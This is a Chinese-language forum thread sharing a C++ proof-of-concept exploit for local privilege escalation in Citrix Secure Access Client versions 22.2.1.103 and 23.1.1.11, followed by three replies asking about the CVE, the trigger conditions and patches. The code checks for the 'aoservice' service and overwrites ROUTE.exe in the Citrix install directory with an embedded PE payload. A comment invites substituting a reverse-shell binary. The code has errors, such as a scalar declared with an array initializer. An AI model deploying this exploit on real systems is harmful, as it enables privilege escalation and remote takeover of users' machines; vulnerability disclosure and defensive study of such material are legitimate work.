Citrix 22.2.1.103 / 23.1.1.11 本地提权漏洞
POC//Reported to Citrix: 25/03/2023
//Tested Version: 22.2.1.103, 23.1.1.11/Last version
#define UNICODE
#define _UNICODE
#include <Windows.h>
#include <string>
#include <iostream>
#include <Windows.h>
#include <iostream>
using namespace std;
enum Result
{
unknown,
serviceManager_AccessDenied,
serviceManager_DatabaseDoesNotExist,
service_AccessDenied,
service_InvalidServiceManagerHandle,
service_InvalidServiceName,
service_DoesNotExist,
service_Exist
};
Result ServiceExists(const std::wstring& serviceName)
{
Result r = unknown;
SC_HANDLE manager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, GENERIC_READ);
if (manager == NULL)
{
DWORD lastError = GetLastError();
if (lastError == ERROR_ACCESS_DENIED)
return serviceManager_AccessDenied;
else if (lastError == ERROR_DATABASE_DOES_NOT_EXIST)
return serviceManager_DatabaseDoesNotExist;
else
return unknown;
}
SC_HANDLE service = OpenService(manager, serviceName.c_str(), GENERIC_READ);
if (service == NULL)
{
DWORD error = GetLastError();
if (error == ERROR_ACCESS_DENIED)
r = service_AccessDenied;
else if (error == ERROR_INVALID_HANDLE)
r = service_InvalidServiceManagerHandle;
else if (error == ERROR_INVALID_NAME)
r = service_InvalidServiceName;
else if (error == ERROR_SERVICE_DOES_NOT_EXIST)
r = service_DoesNotExist;
else
r = unknown;
}
else
r = service_Exist;
if (service != NULL)
CloseServiceHandle(service);
if (manager != NULL)
CloseServiceHandle(manager);
return r;
}
int main() {
const uint8_t shellcode = {
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
}; //You can set array bin of your reverse shell PE file here
std::wstring serviceName = L"aoservice";
Result result = ServiceExists(serviceName);
if (result == service_Exist)
std::wcout << L"The service '" << serviceName << "' exists." << std::endl;
else if (result == service_DoesNotExist)
std::wcout << L"The service '" << serviceName << "' does not exist." << std::endl;
else
std::wcout << L"An error has occurred, and it could not be determined whether the service '" << serviceName << "' exists or not." << std::endl;
HANDLE fileHandle = CreateFile(L"C:\\Program Files\\Citrix\\Secure Access Client\\ROUTE.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
cerr << "[*] Loading Malicious file into Citric Secure Access Installer \n";
if (fileHandle == INVALID_HANDLE_VALUE) {
cerr << "Failed to create shellcode\n";
return 1;
}
DWORD bytesWritten;
if (!WriteFile(fileHandle, shellcode, sizeof(shellcode), &bytesWritten, NULL)) {
cerr << "Failed to write to file\n";
CloseHandle(fileHandle);
return 1;
}
CloseHandle(fileHandle);
cout << "Shellcode exported to Citrix Secure Access path \n";
return 0;
}
Re: Citrix 22.2.1.103 / 23.1.1.11 本地提权漏洞
感谢分享这个漏洞信息。POC 看起来是针对 Citrix 服务的本地提权,不过代码似乎被截断了,没有看到完整的漏洞利用逻辑和 shellcode 数据。能否补充一下具体的漏洞触发点(比如服务路径写权限、DLL 劫持还是其他)?另外,官方是否已经发布了修复版本?这对使用这些版本的用户很关键。Re: Citrix 22.2.1.103 / 23.1.1.11 本地提权漏洞
感谢分享这个漏洞信息。Citrix版本22.2.1.103和23.1.1.11存在本地提权问题,代码中提到了“aoservice”服务,看起来是通过服务操作结合shellcode来实现权限提升。如果你在使用相关版本的Citrix产品,建议尽快关注官方补丁或升级到修复版本,同时注意限制本地非授权用户的访问权限。感谢你提醒社区注意这个安全风险。Re: Citrix 22.2.1.103 / 23.1.1.11 本地提权漏洞
感谢分享这个漏洞情报,Citrix这些版本确实很多人在用。POC里检查了“aoservice”服务,看起来是通过服务操控加shellcode写入来提权?不过代码好像没贴全,后面CreateFile那个路径也没写完。能问下这个漏洞有CVE编号吗?或者大概的利用条件是啥?本地用户需要哪些权限才能触发?
页:
[1]